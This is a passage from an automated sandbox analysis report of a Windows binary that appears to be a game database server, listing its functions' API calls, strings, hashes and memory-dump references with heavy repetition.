                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Current$FileProcessThreadWritelstrlenwvsprintf
                                                                                                                            • String ID: %08x %08x $%s %d %s$%s %s$%s +%x$Call Stack Information:$Params: %08x %08x %08x %08x
                                                                                                                            • API String ID: 2641415868-410147386
                                                                                                                            • Opcode ID: 9aa02cd3b680df1f45263b2465486038ece93fdbbbd352537db9ddecc4a1d3c7
                                                                                                                            • Instruction ID: 951f4ce8a07d6e45ea0ae35dbceaf91a04d024a3e1090407af03c4829448f4e3
                                                                                                                            • Opcode Fuzzy Hash: 9aa02cd3b680df1f45263b2465486038ece93fdbbbd352537db9ddecc4a1d3c7
                                                                                                                            • Instruction Fuzzy Hash: A571ACB1A00218AFDB54DF65CC45FEB73B8AB48305F048199F90DA7282DB749B84CFA5
                                                                                                                            Function 00410760 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 185COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: Module$Program is terminated$Rohan_DBServer$\CRASH_DB.log
                                                                                                                            • API String ID: 0-4041277977
                                                                                                                            • Opcode ID: 58771d00f8c0a4233a3e6b1c37eb9deb0dd0c3502ddf8b5c8f3dd631dd68b9a9
                                                                                                                            • Instruction ID: 1681687f538eb0016f025922d5a9e211cd89b1ebf5fa60e43cd31cd5403b86c0
                                                                                                                            • Opcode Fuzzy Hash: 58771d00f8c0a4233a3e6b1c37eb9deb0dd0c3502ddf8b5c8f3dd631dd68b9a9
                                                                                                                            • Instruction Fuzzy Hash: 7F710774A40305AFDB54DBA0DC45FD9B7B0AF49304F1081AEE609A73A3EB74A980CF59
                                                                                                                            Function 00482186 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 103COMMONLIBRARYCODE
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104,004D53E8,00000118,0047F5A4,00000001,00000000,004D5028,00000008,00486273), ref: 0048220A
                                                                                                                            • _strlen.LIBCMT ref: 00482230
                                                                                                                            • _strlen.LIBCMT ref: 00482241
                                                                                                                            • _strlen.LIBCMT ref: 00482264
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: _strlen$FileModuleName
                                                                                                                            • String ID: ...$0RM$<program name unknown>$Buffer overrun detected!$Microsoft Visual C++ Runtime Library$PRM$Program: $Unknown security failure detected!
                                                                                                                            • API String ID: 1637341245-1219884567
                                                                                                                            • Opcode ID: a80d054392b97674e02cb2d7e5bcee39efde7e1580950c81df62c9d5ac344c55
                                                                                                                            • Instruction ID: 804ddfaaabe0197d148e06d19af882be8b0cc1d2ecac80516daea5951518c719
                                                                                                                            • Opcode Fuzzy Hash: a80d054392b97674e02cb2d7e5bcee39efde7e1580950c81df62c9d5ac344c55
                                                                                                                            • Instruction Fuzzy Hash: 8031D6719006047BDB01BB619C86E9F37A49B44318F1048AFF905AA382DE7C9B554B5D
                                                                                                                            Function 004119E0 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 193synchronizationnetworkCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,?,?,00000000,000000FF,00000000), ref: 00411ADB
                                                                                                                            • GetLastError.KERNEL32(00000001,00000000,00000001,00000000), ref: 00411AFF
                                                                                                                            • WSAStartup.WS2_32(00000202,?), ref: 00411B36
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CreateErrorLastMutexStartup
                                                                                                                            • String ID: Another Server is running$Global\$Rohan_DBServer$Server Start fail$Server is ready on port %d (time stamp: %02d/%02d/%02d %02d:%02d:%02d )$Server started$WSAStartup error 0x%x
                                                                                                                            • API String ID: 2991510882-594839861
                                                                                                                            • Opcode ID: 1622a5f20b0b3ba946313c260304c39cea5c60ca7840b72ea86c056f6edb3f8b
                                                                                                                            • Instruction ID: 32af5c50b9e011e962602e1a488af3e208ff29d8126c71b25e0a7c3aabfdc6d2
                                                                                                                            • Opcode Fuzzy Hash: 1622a5f20b0b3ba946313c260304c39cea5c60ca7840b72ea86c056f6edb3f8b
                                                                                                                            • Instruction Fuzzy Hash: D981D374A41218AFDB24DB50DC85FDA7371AF49304F1044EAE609A72A2E774AE84CF5E
                                                                                                                            Function 0042858F Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 179COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN2_InsGuildWar](?,?,?,?,?,?,?,?) } ,000000FD), ref: 004285B8
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00428601
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00428636
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042866E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004286A6
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E7,000000FB,00000000), ref: 004286DE
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E7,000000FB,00000000), ref: 00428716
                                                                                                                            • #72.ODBC32(?,00000000,00000001,0000005D,0000005D,00000013,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 00428753
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,0000005D,0000005D,00000013), ref: 0042878B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004287C3
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN2_InsGuildWar](?,?,?,?,?,?,?,?) } , xrefs: 004285AF
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN2_InsGuildWar](?,?,?,?,?,?,?,?) }
                                                                                                                            • API String ID: 0-3173555792
                                                                                                                            • Opcode ID: 1e7787d471105485b8e1344a0ab12a9e736afc945d43d4cb2af5f1afb448dde5
                                                                                                                            • Instruction ID: e6c20084e1a680b62be6530fb80a93fd7af71f11dce1ad6bbfaa0f1da1e7f4ca
                                                                                                                            • Opcode Fuzzy Hash: 1e7787d471105485b8e1344a0ab12a9e736afc945d43d4cb2af5f1afb448dde5
                                                                                                                            • Instruction Fuzzy Hash: 1961FE716443147BEB658B54CC52FAE7378EB84F18F208289F71D6E2C5DAB17B808B58
                                                                                                                            Function 00432272 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 177COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_InitStatus] (?,?,?,?,?,?,?,?)},000000FD), ref: 0043229B
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004322DA
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043230F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00432347
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043237F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 004323B7
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 004323EF
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 00432427
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043245F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 00432497
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_InitStatus] (?,?,?,?,?,?,?,?)}, xrefs: 00432292
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_InitStatus] (?,?,?,?,?,?,?,?)}
                                                                                                                            • API String ID: 0-4051964823
                                                                                                                            • Opcode ID: 4c1da867948ff8cf816769df0d16314123c521c544b197f10b2f7c87b3f52a2a
                                                                                                                            • Instruction ID: f254a4f1e7116e880d6bf34a80f4c26780c8bc1414436aa1e53c91887a055a71
                                                                                                                            • Opcode Fuzzy Hash: 4c1da867948ff8cf816769df0d16314123c521c544b197f10b2f7c87b3f52a2a
                                                                                                                            • Instruction Fuzzy Hash: 9F612770A40254BBEB249B54CC56F9A73B4FB84B18F14C38AF7547E2C1D9B16D808F98
                                                                                                                            Function 00436230 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 177COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_InsLootMoney](?,?,?,?,?,?,?,?)},000000FD), ref: 00436259
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00436298
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004362CD
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00436305
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043633D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00436375
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004363AD
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004363E5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043641D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00436455
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_InsLootMoney](?,?,?,?,?,?,?,?)}, xrefs: 00436250
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
